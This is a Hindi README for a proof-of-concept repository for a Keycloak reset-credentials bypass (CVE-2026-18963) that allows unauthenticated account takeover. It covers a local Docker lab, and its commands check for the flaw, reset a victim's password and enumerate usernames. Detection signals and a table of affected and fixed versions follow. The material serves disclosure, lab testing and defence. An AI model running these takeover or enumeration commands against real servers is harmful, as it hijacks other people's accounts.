
यह रिपॉजिटरी cve-2026-18963 का poc है। कृपया इसे केवल कानूनी उत्पादों (लैब, लोकल, ...) पर उपयोग करें।
Keycloak reset-credentials बाईपास → बिना प्रमाणीकरण के खाता अधिग्रहण CVSS 9.1 | प्रभावित: Keycloak 26.0.0 – 26.7.1
यह लैब
snizi/cve-2026-18963-exploitके मूल README से पुनर्निर्मित है।
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC स्क्रिप्ट (Python 3.9+, केवल stdlib)
├── README.md
├── docker-compose.yml <- लैब वातावरण
└── realm-poc.json <- Keycloak realm कॉन्फ़िग (स्वतः-आयातित)
docker compose up -d
या realm आयात के बिना, Keycloak को सीधे चलाएँ:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Keycloak के बूट होने में ~30–60 सेकंड प्रतीक्षा करें।
| सेवा | URL | संस्करण | स्थिति |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | कमज़ोर ⚠️ |
| Mailpit | http://localhost:8025 | latest | ईमेल कैप्चर करता है |
admin / adminvictim / OriginalPassw0rd!poc | क्लाइंट: poc-apppoc realm या victim उपयोगकर्ता गायब है, तो इसे मैन्युअल रूप से आयात करें:
Manage realms → Create realm → Upload realm-poc.json।python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
kc-vuln पर अपेक्षित परिणाम:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
साइड इफ़ेक्ट: पीड़ित को एक रीसेट ईमेल भेजा जाता है (इसे http://localhost:8025 पर देखें), और
emailVerifiedकोtrueपर सेट किया जाता है।
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
बाद में, http://localhost:8080/realms/poc/account पर victim / PoCPassw0rd!1 के साथ लॉगिन करके सत्यापित करें।
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Realm केवल पहले बूट पर आयात किया जाता है, इसलिए सबसे सरल रीसेट वातावरण को शुरू से फिर से बनाना है:
docker compose down -v && docker compose up -d
वैकल्पिक रूप से, एडमिन कंसोल (http://localhost:8080/admin) में पासवर्ड मैन्युअल रूप से रीसेट करें: Users → victim → Credentials → Reset password → OriginalPassw0rd!।
docker compose down -v
| सिग्नल | वैध | एक्सप्लॉइट |
|---|---|---|
GET /login-actions/action-token?... | ✅ हाँ | ❌ नहीं |
POST .../reset-credentials बॉडी tryAnotherWay=yes के साथ | ❌ नहीं | ✅ हाँ |
SEND_RESET_PASSWORD → UPDATE_PASSWORD समान code_id के साथ < 2 s | दुर्लभ | ✅ हमेशा |
emailVerified बिना VERIFY_EMAIL इवेंट के true हो जाता है | ❌ | ✅ हमेशा |
Mailpit (http://localhost:8025) में पासवर्ड-रीसेट ईमेल पीड़ित के मेलबॉक्स में आता है, लेकिन एक्सप्लॉइट सफल होने पर उसके अंदर का लिंक कभी क्लिक नहीं किया जाता।
| रिलीज़ लाइन | प्रभावित | फिक्स |
|---|---|---|
| ≤ 17 (WildFly) | नहीं | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | कोई नहीं (26.7.2 पर जाना होगा) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (विक्रेता बैकपोर्ट) |
| 26.5 | 26.5.0 – 26.5.7 | कोई नहीं |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (विक्रेता बैकपोर्ट) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
26.0 से पहले के संस्करण प्रभावित नहीं हैं: स्टिकी
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDनोट और रीसेट फ़्लो में "Try another way" चयनकर्ता स्क्रीन 26.0.0 में पेश की गई थी। पुराने बिल्ड में केवल कमज़ोर कोड पथ का अभाव है — यह पैच किए जाने के समान नहीं है।